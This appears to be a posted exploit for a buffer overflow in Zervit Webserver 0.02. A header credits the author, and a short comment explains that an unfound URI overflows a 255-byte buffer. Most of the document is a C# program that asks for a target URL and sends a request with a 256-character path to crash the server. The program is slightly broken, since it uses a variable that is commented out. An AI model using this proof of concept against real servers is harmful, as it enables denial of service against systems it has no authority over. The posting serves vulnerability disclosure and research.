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Zervit Webserver Buffer Overflow

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####### Zervit Webserver 0.02 Buffer Overflow ########## By: e.wiZz! #########Site: www.balcansecurity.com ######## Found with ServMeNot (world's sexiest fuzzer :P ) In the wild... ######################################################################################## ######Vend0r site: http://www.ohloh.net/projects/mereo /* When requested uri isn't found,it goes to char tmp[255], and later it is used to output,you need 256 chars to overflow (check source "http.c") */ using System; using System.IO; using System.Net; using System.Text; class whatsoever { static void Main() { // StringBuilder sb = new StringBuilder(); //byte[] buf = new byte[8192]; Console.WriteLine("Enter site: (http://localhost)"); string sajt = Console.ReadLine(); string uribad = "/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; HttpWebRequest request = (HttpWebRequest) WebRequest.Create(sajt+uribad); HttpWebResponse response = (HttpWebResponse) request.GetResponse(); // you shouldn't see response Console.WriteLine(sb.ToString()); } }